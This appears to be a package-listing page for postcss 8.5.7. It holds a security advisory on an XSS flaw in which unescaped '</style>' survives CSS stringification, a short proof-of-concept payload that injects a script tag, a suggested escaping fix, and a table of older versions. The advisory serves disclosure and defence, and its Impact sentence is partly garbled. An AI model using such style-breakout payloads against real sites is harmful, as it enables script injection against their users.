NodeJS/postcss/8.5.7
Tool for transforming styles with JS plugins
https://www.npmjs.com/package/postcss
MIT
1 Security Vulnerabilities
PostCSS has XSS via Unescaped </style> in its CSS Stringify Output
PostCSS: XSS via Unescaped </style> in CSS Stringify Output
Summary
PostCSS v8.5.5 (latest) does not escape </style> sequences when stringifying CSS ASTs. When user-submitted CSS is parsed and re-stringified for embedding in HTML <style> tags, </style> in CSS values breaks out of the style context, enabling XSS.
Proof of Concept
const postcss = require('postcss');
// Parse user CSS and re-stringify for page embedding
const userCSS = 'body { content: "</style><script>alert(1)</script><style>"; }';
const ast = postcss.parse(userCSS);
const output = ast.toResult().css;
const html = `<style>${output}</style>`;
console.log(html);
// <style>body { content: "</style><script>alert(1)</script><style>"; }</style>
//
// Browser: </style> closes the style tag, <script> executes
Tested output (Node.js v22, postcss v8.5.5): Input: body { content: "</style><script>alert(1)</script><style>"; } Output: body { content: "</style><script>alert(1)</script><style>"; } Contains </style>: true
Impact
Impact non-bundler use cases since bundlers for XSS on their own. Requires some PostCSS plugin to have malware code, which can inject XSS to website.
Suggested Fix
Escape </style in all stringified output values: javascript output = output.replace(/<\/(style)/gi, '<\\/$1');
Credits
Discovered and reported by Sunil Kumar (@TharVid)
277 Other Versions
| Version | License | Security | Released | |
|---|---|---|---|---|
| 5.1.2 | MIT | 3 | 2016-08-06 - 18:02 | over 9 years |
| 5.1.1 | MIT | 3 | 2016-07-26 - 09:03 | almost 10 years |
| 5.1.0 | MIT | 3 | 2016-07-12 - 16:39 | almost 10 years |
| 5.0.21 | MIT | 3 | 2016-05-02 - 16:12 | about 10 years |
| 5.0.20 | MIT | 3 | 2016-05-01 - 06:09 | about 10 years |
| 5.0.19 | MIT | 3 | 2016-03-02 - 18:51 | about 10 years |
| 5.0.18 | MIT | 3 | 2016-02-29 - 08:33 | about 10 years |
| 5.0.17 | MIT | 3 | 2016-02-26 - 16:10 | about 10 years |
| 5.0.16 | MIT | 3 | 2016-02-14 - 08:54 | about 10 years |
| 5.0.15 | MIT | 3 | 2016-02-11 - 14:22 | about 10 years |
| 5.0.14 | MIT | 3 | 2016-01-03 - 21:47 | over 10 years |
| 5.0.13 | MIT | 3 | 2015-12-16 - 14:01 | over 10 years |
| 5.0.12 | MIT | 3 | 2015-11-13 - 15:27 | over 10 years |
| 5.0.11 | MIT | 3 | 2015-11-07 - 14:03 | over 10 years |
| 5.0.10 | MIT | 3 | 2015-10-14 - 23:46 | over 10 years |
| 5.0.9 | MIT | 3 | 2015-10-08 - 18:32 | over 10 years |
| 5.0.8 | MIT | 3 | 2015-09-25 - 11:16 | over 10 years |
| 5.0.7 | MIT | 3 | 2015-09-25 - 10:33 | over 10 years |
| 5.0.6 | MIT | 3 | 2015-09-21 - 16:42 | over 10 years |
| 5.0.5 | MIT | 3 | 2015-09-12 - 10:36 | over 10 years |
| 5.0.4 | MIT | 3 | 2015-09-01 - 18:24 | over 10 years |
| 5.0.3 | MIT | 3 | 2015-08-28 - 22:04 | over 10 years |
| 5.0.2 | MIT | 3 | 2015-08-22 - 14:25 | over 10 years |
| 5.0.1 | MIT | 3 | 2015-08-20 - 21:34 | over 10 years |
| 5.0.0 | MIT | 3 | 2015-08-19 - 19:11 | over 10 years |
| 4.1.16 | MIT | 3 | 2015-07-07 - 18:56 | almost 11 years |
| 4.1.15 | MIT | 3 | 2015-07-07 - 15:32 | almost 11 years |
| 4.1.14 | MIT | 3 | 2015-07-04 - 11:05 | almost 11 years |
| 4.1.13 | MIT | 3 | 2015-06-23 - 23:05 | almost 11 years |
| 4.1.12 | MIT | 3 | 2015-06-22 - 02:10 | almost 11 years |
| 4.1.11 | MIT | 3 | 2015-05-16 - 17:32 | almost 11 years |
| 4.1.10 | MIT | 3 | 2015-05-11 - 18:09 | almost 11 years |
| 4.1.9 | MIT | 3 | 2015-05-05 - 10:45 | almost 11 years |
| 4.1.8 | MIT | 3 | 2015-05-01 - 00:22 | about 11 years |
| 4.1.7 | MIT | 3 | 2015-04-28 - 22:41 | about 11 years |
| 4.1.6 | MIT | 3 | 2015-04-26 - 17:49 | about 11 years |
| 4.1.5 | MIT | 3 | 2015-04-13 - 21:53 | about 11 years |
| 4.1.4 | MIT | 3 | 2015-04-05 - 23:58 | about 11 years |
| 4.1.3 | MIT | 3 | 2015-04-05 - 18:56 | about 11 years |
| 4.1.2 | MIT | 3 | 2015-04-02 - 11:23 | about 11 years |
| 4.1.1 | MIT | 3 | 2015-04-02 - 07:21 | about 11 years |
| 4.1.0 | MIT | 3 | 2015-04-01 - 15:46 | about 11 years |
| 4.0.6 | MIT | 3 | 2015-02-24 - 12:45 | about 11 years |
| 4.0.5 | MIT | 3 | 2015-02-23 - 13:35 | about 11 years |
| 4.0.4 | MIT | 3 | 2015-02-14 - 10:49 | about 11 years |
| 4.0.3 | MIT | 3 | 2015-01-28 - 12:46 | over 11 years |
| 4.0.2 | MIT | 3 | 2015-01-24 - 17:18 | over 11 years |
| 4.0.1 | MIT | 3 | 2015-01-11 - 18:49 | over 11 years |
| 4.0.0 | MIT | 3 | 2014-12-30 - 12:41 | over 11 years |
| 3.0.7 | MIT | 3 | 2014-12-09 - 09:18 | over 11 years |
